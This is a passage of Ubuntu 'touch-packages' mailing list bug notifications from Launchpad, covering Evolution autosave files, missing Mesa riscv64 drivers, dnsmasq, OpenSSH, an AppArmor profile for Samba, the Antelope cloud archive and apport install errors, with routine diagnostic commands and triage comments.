  composer.autosave-xx ("xx" is a random 6 character string).
  When the email is successfully sent, the autosave file SHOULD be
  deleted. It's not. When evolution is shut down and restarted I'm asked
  if I want to recover an unfinished email. Answering No to this will
  delete the autosave file, but otherwise it persists and the recovery
  query recurs the next time I open evolution.

  Other people are having the same issue, see
  https://gitlab.gnome.org/GNOME/evolution/-/issues/1972. The Gnome
  people aren't dealing with it, perhaps considering it a distro-
  specific bug.

  On a system used by many people this is a potential security issue.

To manage notifications about this bug go to:
https://bugs.launchpad.net/evolution/+bug/1983794/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1995137] Re: "sun4i-drm_dri.so" is missing from libg1-mesa-dri on riscv64

[Ubuntu Foundations Team Bug Bot]

The attachment "mesa-build-lima-on-riscv64.debdiff" seems to be a
debdiff.  The ubuntu-sponsors team has been subscribed to the bug report
so that they can review and hopefully sponsor the debdiff.  If the
attachment isn't a patch, please remove the "patch" flag from the
attachment, remove the "patch" tag, and if you are member of the
~ubuntu-sponsors, unsubscribe the team.

[This is an automated message performed by a Launchpad user owned by
~brian-murray, for any issue please contact him.]

** Tags added: patch

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to mesa in Ubuntu.
https://bugs.launchpad.net/bugs/1995137

Title:
  "sun4i-drm_dri.so" is missing from libg1-mesa-dri on riscv64

Status in mesa package in Ubuntu:
  New

Bug description:
  "sun4i-drm_dri.so" is needed for some RISC-V platforms such as the
  Allwinner D1. This file is missing from the riscv64 packages, but
  present on others.  This affects (at least) 20.04 and 22.04.

  itrue@lxc-focal ~/tmp> dpkg -c 
libgl1-mesa-dri_21.2.6-0ubuntu0.1~20.04.2_arm64.deb | grep _dri.so
  *snip*
  hrw-r--r-- root/root 0 2022-03-08 16:37 
./usr/lib/aarch64-linux-gnu/dri/sun4i-drm_dri.so link to 
./usr/lib/aarch64-linux-gnu/dri/armada-drm_dri.so
  *snip*

  itrue@lxc-focal ~/tmp> dpkg -c 
libgl1-mesa-dri_21.2.6-0ubuntu0.1~20.04.2_riscv64.deb | grep _dri.so
  -rw-r--r-- root/root  16498024 2022-03-08 16:37 
./usr/lib/riscv64-linux-gnu/dri/kms_swrast_dri.so
  hrw-r--r-- root/root 0 2022-03-08 16:37 
./usr/lib/riscv64-linux-gnu/dri/nouveau_dri.so link to 
./usr/lib/riscv64-linux-gnu/dri/kms_swrast_dri.so
  -rw-r--r-- root/root   4692400 2022-03-08 16:37 
./usr/lib/riscv64-linux-gnu/dri/nouveau_vieux_dri.so
  hrw-r--r-- root/root 0 2022-03-08 16:37 
./usr/lib/riscv64-linux-gnu/dri/r200_dri.so link to 
./usr/lib/riscv64-linux-gnu/dri/nouveau_vieux_dri.so
  hrw-r--r-- root/root 0 2022-03-08 16:37 
./usr/lib/riscv64-linux-gnu/dri/r300_dri.so link to 
./usr/lib/riscv64-linux-gnu/dri/kms_swrast_dri.so
  hrw-r--r-- root/root 0 2022-03-08 16:37 
./usr/lib/riscv64-linux-gnu/dri/r600_dri.so link to 
./usr/lib/riscv64-linux-gnu/dri/kms_swrast_dri.so
  hrw-r--r-- root/root 0 2022-03-08 16:37 
./usr/lib/riscv64-linux-gnu/dri/radeon_dri.so link to 
./usr/lib/riscv64-linux-gnu/dri/nouveau_vieux_dri.so
  hrw-r--r-- root/root 0 2022-03-08 16:37 
./usr/lib/riscv64-linux-gnu/dri/radeonsi_dri.so link to 
./usr/lib/riscv64-linux-gnu/dri/kms_swrast_dri.so
  hrw-r--r-- root/root 0 2022-03-08 16:37 
./usr/lib/riscv64-linux-gnu/dri/swrast_dri.so link to 
./usr/lib/riscv64-linux-gnu/dri/kms_swrast_dri.so
  hrw-r--r-- root/root 0 2022-03-08 16:37 
./usr/lib/riscv64-linux-gnu/dri/virtio_gpu_dri.so link to 
./usr/lib/riscv64-linux-gnu/dri/kms_swrast_dri.so
  hrw-r--r-- root/root 0 2022-03-08 16:37 
./usr/lib/riscv64-linux-gnu/dri/zink_dri.so link to 
./usr/lib/riscv64-linux-gnu/dri/kms_swrast_dri.so

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/mesa/+bug/1995137/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1995260] Re: dnsmasq focal 2.80 NODATA instead of NXDOMAIN bug

[Miriam España Acebal]

** Changed in: dnsmasq (Ubuntu)
 Assignee: (unassigned) => Miriam España Acebal (mirespace)

** Changed in: dnsmasq (Ubuntu Focal)
 Assignee: (unassigned) => Miriam España Acebal (mirespace)

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to dnsmasq in Ubuntu.
https://bugs.launchpad.net/bugs/1995260

Title:
  dnsmasq focal 2.80 NODATA instead of NXDOMAIN bug

Status in dnsmasq package in Ubuntu:
  Fix Released
Status in dnsmasq source package in Focal:
  Triaged

Bug description:
  We upgraded our openstack containers which host dnsmasq services from
  bionic to focal. With this we got an update of dnsmasq from 2.79 to
  2.80 which introduced a bug in our setup where dnsmasq returns NODATA
  instead of NXDOMAIN.

  This is already fixed upstream with the following commit [1].

  The Ubuntu dnsmasq 2.80 package should get a backport with a release
  for the focal packages which includes this bug fix.

  [1]
  
https://thekelleys.org.uk/gitweb/?p=dnsmasq.git;a=commit;h=162e5e0062ce923c494cc64282f293f0ed64fc10

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/dnsmasq/+bug/1995260/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1986521] Re: ssh client spins if output fd closed

[Christian Ehrhardt ]

** Changed in: openssh (Ubuntu Jammy)
 Assignee: (unassigned) => Bryce Harrington (bryce)

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to openssh in Ubuntu.
https://bugs.launchpad.net/bugs/1986521

Title:
  ssh client spins if output fd closed

Status in portable OpenSSH:
  Unknown
Status in openssh package in Ubuntu:
  Fix Released
Status in openssh source package in Jammy:
  Triaged

Bug description:
  The OpenSSH package 8.9p1 as shipped with U22.04 (8.9p1-3) suffers from the 
bug described at
  https://bugzilla.mindrot.org/show_bug.cgi?id=3411 and 
https://bugzilla.mindrot.org/show_bug.cgi?id=3405

  A command such as "xterm -e 'ssh -f remote.host sleep 60'" will pop up
  an xterm, ask for whatever authentication is needed, close the xterm,
  and leave the ssh client spinning consuming CPU time for 60 seconds
  before it exits. It should leave the ssh client idle for 60 seconds.
  Many uses of ssh to launch graphical applications will be caught by
  this bug.

  This is fixed in OpenSSH 9.0p1 as the first bugfix listed in its
  release notes at https://www.openssh.com/txt/release-9.0

To manage notifications about this bug go to:
https://bugs.launchpad.net/openssh/+bug/1986521/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1979879] Re: Apparmor profile in 22.04 jammy - fails to start when printing enabled

[Christian Ehrhardt ]

** Changed in: apparmor (Ubuntu Jammy)
 Assignee: Michał Małoszewski (michal-maloszewski99) => Andreas Hasenack 
(ahasenack)

** Changed in: apparmor (Ubuntu)
 Assignee: Michał Małoszewski (michal-maloszewski99) => Andreas Hasenack 
(ahasenack)

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apparmor in Ubuntu.
https://bugs.launchpad.net/bugs/1979879

Title:
  Apparmor profile in 22.04 jammy - fails to start when printing enabled

Status in apparmor package in Ubuntu:
  Invalid
Status in samba package in Ubuntu:
  Fix Released
Status in apparmor source package in Jammy:
  In Progress

Bug description:
  [Impact]

  Users who have:
  a) opted in to confining samba with apparmor (by installing 
apparmor-profiles); and
  b) changed the usr.sbin.smbd and samba-bgqd apparmor profiles to enforce mode;

  will experience an error in starting the smbd service in jammy:

  [2022/08/25 16:04:05.848067,  0] 
../../lib/util/become_daemon.c:119(exit_daemon)
    exit_daemon: daemon failed to start: Samba failed to init printing 
subsystem, error code 13

  This "printing subsystem" is actually a new daemon called samba-bgqd.
  This errors prevents "smbd" from starting.

  The reason it failed to start is that this binary is installed on a
  different path than what is allowed in the samba apparmor profiles,
  and as a result its execution is denied.

  The chosen fix for this is to change the path of samba-bgqd in the
  samba apparmor profiles to match where it is actually being installed
  in the jammy packaging. Changing the actual path in the samba
  packaging would be a more invasive fix.

  In kinetic and later, the installation path of samba-bgqd was changed
  instead, and requires no changes to the apparmor profiles.

  However, once the path in the apparmor profiles was fixed for jammy,
  another error comes up which also requires an apparmor change. samba-
  bgqd is using locking when opening the *.tdb files in /run/samba, and
  that requires an extra "k" flag to apparmor rules that cover that
  directory and its tdb files.

  This bug doesn't affect jammy samba users by default, as they have to
  complete steps (a) and (b) from above to be impacted. Therefore, on
  its own, this bug does not warrant an SRU, and we are using the block-
  proposed-jammy tag to prevent its release until such time when another
  more SRU-worthy apparmor bug is fixed for Jammy.

  [Test Plan]

  Make a container for testing:

  $ lxc launch ubuntu-daily:jammy jammy-test
  $ lxc shell jammy-test

  Install the needed packages:
  # apt update && apt install apparmor-profiles apparmor-utils samba

  Confirm that you have smbd and samba-bgqd processes confined and in complain 
mode (check first column):
  # ps faxZ | grep -E "(smbd|bgqd)" | grep -v grep

  smbd (complain)2432 ?Ss 0:00 /usr/sbin/smbd 
--foreground --no-process-group
  smbd (complain)2434 ?S  0:00  \_ 
/usr/sbin/smbd --foreground --no-process-group
  smbd (complain)2435 ?S  0:00  \_ 
/usr/sbin/smbd --foreground --no-process-group
  smbd//null-/usr/lib/x86_64-linux-gnu/samba/samba-bgqd (complain) 2436 ? S   
0:00  \_ /usr/lib/x86_64-linux-gnu/samba/samba-bgqd

  Change the samba profiles to enforce mode:
  # aa-enforce /etc/apparmor.d/usr.sbin.smbd /etc/apparmor.d/samba-bgqd
  Setting /etc/apparmor.d/usr.sbin.smbd to enforce mode.
  Setting /etc/apparmor.d/samba-bgqd to enforce mode.

  Restart smbd:
  # systemctl restart smbd

  systemctl won't complain, but smbd failed to start:
  root@jammy-test:~# ps faxZ | grep smbd | grep -v smbd
  root@jammy-test:~#

  # tail -2 /var/log/samba/log.smbd
  [2022/09/09 18:20:35.200901,  0] 
../../lib/util/become_daemon.c:119(exit_daemon)
    exit_daemon: daemon failed to start: Samba failed to init printing 
subsystem, error code 13

  And dmesg on the *host* (not the container) will log a few DENIED messages 
like this:
  [sex set  9 15:20:30 2022] audit: type=1400 audit(1662747635.194:10356): 
apparmor="DENIED" operation="exec" 
namespace="root//lxd-jammy-test_" profile="smbd" 
name="/usr/lib/x86_64-linux-gnu/samba/samba-bgqd" pid=994396 comm="smbd" 
requested_mask="x" denied_mask="x" fsuid=100 ouid=100

  After installing the fixed package (and accepting the dpkg conf prompt
  changes), the new profile will be loaded in complain mode again. So
  let's put it in enforce mode one more time:

  # aa-enforce /etc/apparmor.d/usr.sbin.smbd /etc/apparmor.d/samba-bgqd 
  Setting /etc/apparmor.d/usr.sbin.smbd to enforce mode.
  Setting /etc/apparmor.d/samba-bgqd to enforce mode.

  Restart:
  # systemctl restart smbd

  And confirm that smbd and samba-bgqd are running this time, and in
  enforce mode:

  TBD

  [Where problems could occur]
  An apparmor update will impact all ubuntu users, regardless if they are using 
samba or not. One has to weigh this 

[Touch-packages] [Bug 1995137] Re: "sun4i-drm_dri.so" is missing from libg1-mesa-dri on riscv64

[Isaac True]

The attached debdiff enables building the lima driver on riscv64. This
drivers provides sun4i-drm_dri.so.

I'm currently testing this locally and waiting on riscv64 to be enabled
for my PPA to build a package on LP.

** Patch added: "mesa-build-lima-on-riscv64.debdiff"
   
https://bugs.launchpad.net/ubuntu/+source/mesa/+bug/1995137/+attachment/5630053/+files/mesa-build-lima-on-riscv64.debdiff

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to mesa in Ubuntu.
https://bugs.launchpad.net/bugs/1995137

Title:
  "sun4i-drm_dri.so" is missing from libg1-mesa-dri on riscv64

Status in mesa package in Ubuntu:
  New

Bug description:
  "sun4i-drm_dri.so" is needed for some RISC-V platforms such as the
  Allwinner D1. This file is missing from the riscv64 packages, but
  present on others.  This affects (at least) 20.04 and 22.04.

  itrue@lxc-focal ~/tmp> dpkg -c 
libgl1-mesa-dri_21.2.6-0ubuntu0.1~20.04.2_arm64.deb | grep _dri.so
  *snip*
  hrw-r--r-- root/root 0 2022-03-08 16:37 
./usr/lib/aarch64-linux-gnu/dri/sun4i-drm_dri.so link to 
./usr/lib/aarch64-linux-gnu/dri/armada-drm_dri.so
  *snip*

  itrue@lxc-focal ~/tmp> dpkg -c 
libgl1-mesa-dri_21.2.6-0ubuntu0.1~20.04.2_riscv64.deb | grep _dri.so
  -rw-r--r-- root/root  16498024 2022-03-08 16:37 
./usr/lib/riscv64-linux-gnu/dri/kms_swrast_dri.so
  hrw-r--r-- root/root 0 2022-03-08 16:37 
./usr/lib/riscv64-linux-gnu/dri/nouveau_dri.so link to 
./usr/lib/riscv64-linux-gnu/dri/kms_swrast_dri.so
  -rw-r--r-- root/root   4692400 2022-03-08 16:37 
./usr/lib/riscv64-linux-gnu/dri/nouveau_vieux_dri.so
  hrw-r--r-- root/root 0 2022-03-08 16:37 
./usr/lib/riscv64-linux-gnu/dri/r200_dri.so link to 
./usr/lib/riscv64-linux-gnu/dri/nouveau_vieux_dri.so
  hrw-r--r-- root/root 0 2022-03-08 16:37 
./usr/lib/riscv64-linux-gnu/dri/r300_dri.so link to 
./usr/lib/riscv64-linux-gnu/dri/kms_swrast_dri.so
  hrw-r--r-- root/root 0 2022-03-08 16:37 
./usr/lib/riscv64-linux-gnu/dri/r600_dri.so link to 
./usr/lib/riscv64-linux-gnu/dri/kms_swrast_dri.so
  hrw-r--r-- root/root 0 2022-03-08 16:37 
./usr/lib/riscv64-linux-gnu/dri/radeon_dri.so link to 
./usr/lib/riscv64-linux-gnu/dri/nouveau_vieux_dri.so
  hrw-r--r-- root/root 0 2022-03-08 16:37 
./usr/lib/riscv64-linux-gnu/dri/radeonsi_dri.so link to 
./usr/lib/riscv64-linux-gnu/dri/kms_swrast_dri.so
  hrw-r--r-- root/root 0 2022-03-08 16:37 
./usr/lib/riscv64-linux-gnu/dri/swrast_dri.so link to 
./usr/lib/riscv64-linux-gnu/dri/kms_swrast_dri.so
  hrw-r--r-- root/root 0 2022-03-08 16:37 
./usr/lib/riscv64-linux-gnu/dri/virtio_gpu_dri.so link to 
./usr/lib/riscv64-linux-gnu/dri/kms_swrast_dri.so
  hrw-r--r-- root/root 0 2022-03-08 16:37 
./usr/lib/riscv64-linux-gnu/dri/zink_dri.so link to 
./usr/lib/riscv64-linux-gnu/dri/kms_swrast_dri.so

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/mesa/+bug/1995137/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1996067] [NEW] [SRU] Enable support for Antelope Cloud Archive

[Corey Bryant]

Public bug reported:

Please add support for:

   cloud-archive:antelope
   cloud-archive:antelope-proposed

This will also need to be SRU'd back to jammy.

[Impact]
End users have to manually enable the antelope cloud archive pockets.

[Test case]
sudo add-apt-repository cloud-archive:antelope
sudo add-apt-repository cloud-archive:antelope-proposed

[Regression potential]
Limited - just a data item addition

** Affects: software-properties (Ubuntu)
 Importance: Undecided
 Status: New

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to software-properties in
Ubuntu.
https://bugs.launchpad.net/bugs/1996067

Title:
   [SRU] Enable support for Antelope Cloud Archive

Status in software-properties package in Ubuntu:
  New

Bug description:
  Please add support for:

 cloud-archive:antelope
 cloud-archive:antelope-proposed

  This will also need to be SRU'd back to jammy.

  [Impact]
  End users have to manually enable the antelope cloud archive pockets.

  [Test case]
  sudo add-apt-repository cloud-archive:antelope
  sudo add-apt-repository cloud-archive:antelope-proposed

  [Regression potential]
  Limited - just a data item addition

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/software-properties/+bug/1996067/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1983794] Re: Evolution not deleting autosave files

[m...@papersolve.com]

Thanks, uninstalling libcanberra-gtk-3-0 helped with this. (I'd only
installed it way back in the distant past to stop those stupid warnings
on the command line!)

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to libcanberra in Ubuntu.
https://bugs.launchpad.net/bugs/1983794

Title:
  Evolution not deleting autosave files

Status in Evolution:
  Fix Released
Status in evolution package in Ubuntu:
  Invalid
Status in libcanberra package in Ubuntu:
  Triaged

Bug description:
  Running Ubuntu MATE, Ubuntu 22.04.1 LTS. Evolution v3.44.1-0ubuntu1
  was installed with the distribution on a new system and received
  settings imported from an earlier version on another computer.

  When composing an email, if the process takes long enough an autosave
  file is created as ~/.local/share/evolution/.evolution-
  composer.autosave-xx ("xx" is a random 6 character string).
  When the email is successfully sent, the autosave file SHOULD be
  deleted. It's not. When evolution is shut down and restarted I'm asked
  if I want to recover an unfinished email. Answering No to this will
  delete the autosave file, but otherwise it persists and the recovery
  query recurs the next time I open evolution.

  Other people are having the same issue, see
  https://gitlab.gnome.org/GNOME/evolution/-/issues/1972. The Gnome
  people aren't dealing with it, perhaps considering it a distro-
  specific bug.

  On a system used by many people this is a potential security issue.

To manage notifications about this bug go to:
https://bugs.launchpad.net/evolution/+bug/1983794/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1574539] Re: ubuntu-bug dumps the core

[Benjamin Drung]

I am doing some bug cleanup. I'll close this bug then.

** Changed in: apport (Ubuntu)
   Status: Incomplete => Invalid

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apport in Ubuntu.
https://bugs.launchpad.net/bugs/1574539

Title:
  ubuntu-bug dumps the core

Status in apport package in Ubuntu:
  Invalid

Bug description:
  After each and every run, ubuntu-bug dumps the core.
  ubuntu-bug is a symllink to apport-bug.
  /usr/bin/apport-bug is a "POSIX shell script, ASCII text executable"

  ProblemType: Bug
  DistroRelease: Ubuntu 16.04
  Package: apport 2.20.1-0ubuntu2
  ProcVersionSignature: Ubuntu 4.4.0-21.37-lowlatency 4.4.6
  Uname: Linux 4.4.0-21-lowlatency x86_64
  NonfreeKernelModules: pci_stub vboxpci vboxnetadp vboxnetflt vboxdrv 
xt_multiport iptable_filter ip_tables x_tables 8812au cfg80211 
snd_hda_codec_realtek snd_hda_codec_generic snd_hda_codec_hdmi hp_wmi 
sparse_keymap intel_rapl snd_hda_intel x86_pkg_temp_thermal intel_powerclamp 
coretemp snd_hda_codec kvm_intel kvm snd_hda_core irqbypass crct10dif_pclmul 
snd_hwdep crc32_pclmul usblp input_leds snd_pcm aesni_intel snd_seq_midi 
aes_x86_64 lrw gf128mul glue_helper snd_seq_midi_event ablk_helper cryptd 
snd_rawmidi serio_raw snd_seq snd_seq_device snd_timer snd mei_me soundcore mei 
lpc_ich shpchp mac_hid 8250_fintek parport_pc ppdev lp parport autofs4 xfs 
raid10 raid456 async_raid6_recov async_memcpy async_pq async_xor async_tx xor 
raid6_pq libcrc32c raid1 multipath linear uas usb_storage hid_generic usbhid 
hid raid0 amdkfd amd_iommu_v2 radeon i915 ttm i2c_algo_bit drm_kms_helper 
syscopyarea sysfillrect sysimgblt fb_sys_fops ahci psmouse drm r8169 libahci 
mii wmi fjes video
  ApportVersion: 2.20.1-0ubuntu2
  Architecture: amd64
  CrashReports:
   640:1000:114:1216053:2016-04-22 18:19:14.874778904 +0200:2016-04-22 
18:19:13.982777521 +0200:/var/crash/_usr_bin_kactivitymanagerd.1000.crash
   640:1000:114:10658675:2016-04-25 11:20:02.528969734 +0200:2016-04-25 
11:20:02.529969744 +0200:/var/crash/_usr_share_apport_apport-kde.1000.crash
  CurrentDesktop: KDE
  Date: Mon Apr 25 11:29:51 2016
  InstallationDate: Installed on 2016-04-22 (2 days ago)
  InstallationMedia: Kubuntu 16.04 LTS "Xenial Xerus" - Release amd64 
(20160420.1)
  PackageArchitecture: all
  SourcePackage: apport
  UpgradeStatus: No upgrade log present (probably fresh install)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/apport/+bug/1574539/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1962393] Re: Apport makes link +login and i get error- already logged in

[Benjamin Drung]

Thank you for taking the time to report this bug and helping to make
Ubuntu better.

This could be an issue with apport or Launchpad itself. Do you still
experience this behavior?

** Changed in: apport (Ubuntu)
   Status: New => Incomplete

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apport in Ubuntu.
https://bugs.launchpad.net/bugs/1962393

Title:
  Apport makes link +login and i get error- already logged in

Status in apport package in Ubuntu:
  Incomplete

Bug description:
  Apport makes link +login and i get error- already logged in

  ProblemType: Bug
  DistroRelease: Ubuntu 18.04
  Package: apport 2.20.9-0ubuntu7.27
  ProcVersionSignature: Ubuntu 5.4.0-100.113~18.04.1-generic 5.4.166
  Uname: Linux 5.4.0-100-generic i686
  ApportLog:
   ERROR: apport (pid 19960) Sun Feb 27 14:24:30 2022: called for pid 1027, 
signal 6, core limit 0, dump mode 1
   ERROR: apport (pid 19960) Sun Feb 27 14:24:30 2022: executable was modified 
after program start, ignoring
  ApportVersion: 2.20.9-0ubuntu7.27
  Architecture: i386
  CurrentDesktop: KDE
  Date: Sun Feb 27 14:29:04 2022
  InstallationDate: Installed on 2022-02-27 (0 days ago)
  InstallationMedia: Kubuntu 18.04.5 LTS "Bionic Beaver" - Release i386 
(20200806.1)
  PackageArchitecture: all
  SourcePackage: apport
  UpgradeStatus: No upgrade log present (probably fresh install)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/apport/+bug/1962393/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1660053] Re: package apport 2.20.1-0ubuntu2.4 failed to install/upgrade: subprocess new pre-removal script returned error exit status 2

[Benjamin Drung]

Thank you for taking the time to report this bug and helping to make
Ubuntu better.

The relevant log:

```
Preparing to unpack .../apport_2.20.1-0ubuntu2.5_all.deb ...
import: unable to open image `sys': Is a directory @ error/blob.c/OpenBlob/2712.
from: can't read /var/mail/os
from: can't read /var/mail/os.path
/usr/bin/pyclean: 29: /usr/bin/pyclean: Syntax error: word unexpected 
(expecting ")")
```

So this looks like a problem of pyclean or a broken system. Reassigning
to python-minimal (source python-defaults) which ships pyclean.

** Package changed: apport (Ubuntu) => python-defaults (Ubuntu)

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to python-defaults in Ubuntu.
https://bugs.launchpad.net/bugs/1660053

Title:
  package apport 2.20.1-0ubuntu2.4 failed to install/upgrade: subprocess
  new pre-removal script returned error exit status 2

Status in python-defaults package in Ubuntu:
  Confirmed

Bug description:
  ProblemType: Package
  DistroRelease: Ubuntu 16.04
  Package: apport 2.20.1-0ubuntu2.4
  ProcVersionSignature: Ubuntu 4.4.0-59.80-generic 4.4.35
  Uname: Linux 4.4.0-59-generic x86_64
  ApportLog:
   ERROR: apport (pid 11367) Fri Jan 27 04:11:51 2017: called for pid 10831, 
signal 11, core limit 0
   ERROR: apport (pid 11367) Fri Jan 27 04:11:51 2017: executable: 
/usr/lib/firefox/plugin-container (command line 
"/usr/lib/firefox/plugin-container 
/usr/lib/flashplugin-installer/libflashplayer.so -greomni 
/usr/lib/firefox/omni.ja -appomni /usr/lib/firefox/browser/omni.ja -appdir 
/usr/lib/firefox/browser 2196 true plugin")
   ERROR: apport (pid 11367) Fri Jan 27 04:11:51 2017: executable version is 
blacklisted, ignoring
  ApportVersion: 2.20.1-0ubuntu2.4
  Architecture: amd64
  CrashReports:
   644:0:116:0:2017-01-26 21:26:16.589169125 +0530:2017-01-26 
21:26:16.589169125 +0530:/var/crash/bluefish-data.0.upload
   640:0:116:204816:2017-01-26 21:26:15.569168806 +0530:2017-01-26 
21:26:16.569168806 +0530:/var/crash/bluefish-data.0.crash
   600:0:116:159472:2017-01-28 22:32:36.371843338 +0530:2017-01-28 
22:32:37.371843338 +0530:/var/crash/apport.0.crash
   600:109:116:0:2017-01-27 03:37:06.746315169 +0530:2017-01-27 
03:37:06.746315169 +0530:/var/crash/bluefish-data.0.uploaded
  Date: Sat Jan 28 22:32:37 2017
  ErrorMessage: subprocess new pre-removal script returned error exit status 2
  InstallationDate: Installed on 2016-12-04 (54 days ago)
  InstallationMedia: Ubuntu 16.04.1 LTS "Xenial Xerus" - Release amd64 
(20160719)
  PackageArchitecture: all
  RelatedPackageVersions:
   dpkg 1.18.4ubuntu1.1
   apt  1.2.19
  SourcePackage: apport
  Title: package apport 2.20.1-0ubuntu2.4 failed to install/upgrade: subprocess 
new pre-removal script returned error exit status 2
  UpgradeStatus: No upgrade log present (probably fresh install)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/python-defaults/+bug/1660053/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1702319] Re: package apport 2.20.1-0ubuntu2.5 failed to install/upgrade: subprocess installed pre-removal script returned error exit status 127

[Benjamin Drung]

Thank you for taking the time to report this bug and helping to make
Ubuntu better.

The relevant apport.prerm code for Ubuntu 16.04:

```
# Automatically added by dh_python2:
if which pyclean >/dev/null 2>&1; then
pyclean -p apport 
else
dpkg -L apport | grep \.py$ | while read file
do
rm -f "${file}"[co] >/dev/null
done
fi
```

pyclean should not be called if it is not found. Do you still experience
this issue or can reproduce it?

** Changed in: apport (Ubuntu)
   Status: Confirmed => Incomplete

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apport in Ubuntu.
https://bugs.launchpad.net/bugs/1702319

Title:
  package apport 2.20.1-0ubuntu2.5 failed to install/upgrade: subprocess
  installed pre-removal script returned error exit status 127

Status in apport package in Ubuntu:
  Incomplete

Bug description:
  I tried so many alternatives i didn't found relevant bug to fix it.

  ProblemType: Package
  DistroRelease: Ubuntu 16.04
  Package: apport 2.20.1-0ubuntu2.5
  ProcVersionSignature: Ubuntu 4.8.0-54.57~16.04.1-generic 4.8.17
  Uname: Linux 4.8.0-54-generic x86_64
  ApportLog:
   
  ApportVersion: 2.20.1-0ubuntu2.5
  Architecture: amd64
  CrashReports: 600:0:116:180223:2017-07-04 20:24:38.287366390 +0530:2017-07-04 
20:24:39.287366390 +0530:/var/crash/apport.0.crash
  Date: Tue Jul  4 20:24:38 2017
  DpkgTerminalLog:
   Preparing to unpack .../apport_2.20.1-0ubuntu2.4_all.deb ...
   /var/lib/dpkg/info/apport.prerm: 19: /var/lib/dpkg/info/apport.prerm: 
pyclean: not found
   dpkg: error processing archive 
/var/cache/apt/archives/apport_2.20.1-0ubuntu2.4_all.deb (--unpack):
subprocess installed pre-removal script returned error exit status 127
  DuplicateSignature:
   package:apport:2.20.1-0ubuntu2.5
   Preparing to unpack .../apport_2.20.1-0ubuntu2.4_all.deb ...
   /var/lib/dpkg/info/apport.prerm: 19: /var/lib/dpkg/info/apport.prerm: 
pyclean: not found
   dpkg: error processing archive 
/var/cache/apt/archives/apport_2.20.1-0ubuntu2.4_all.deb (--unpack):
subprocess installed pre-removal script returned error exit status 127
  ErrorMessage: subprocess installed pre-removal script returned error exit 
status 127
  InstallationDate: Installed on 2017-03-30 (95 days ago)
  InstallationMedia: Ubuntu 16.04.2 LTS "Xenial Xerus" - Release amd64 
(20170215.2)
  PackageArchitecture: all
  RelatedPackageVersions:
   dpkg 1.18.4ubuntu1.2
   apt  1.2.20
  SourcePackage: apport
  Title: package apport 2.20.1-0ubuntu2.5 failed to install/upgrade: subprocess 
installed pre-removal script returned error exit status 127
  UpgradeStatus: No upgrade log present (probably fresh install)

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/apport/+bug/1702319/+subscriptions


-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1574539] Re: ubuntu-bug dumps the core

[Uqbar]

> Reported by Uqbar on  2016-04-25

6 years to get a feedback.
I jumped to 18.04 and 20.04 later on.
And now I am not using Ubuntu anymore since then.
I think we can close this.

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to apport in Ubuntu.
https://bugs.launchpad.net/bugs/1574539

Title:
  ubuntu-bug dumps the core

Status in apport package in Ubuntu:
  Incomplete

Bug description:
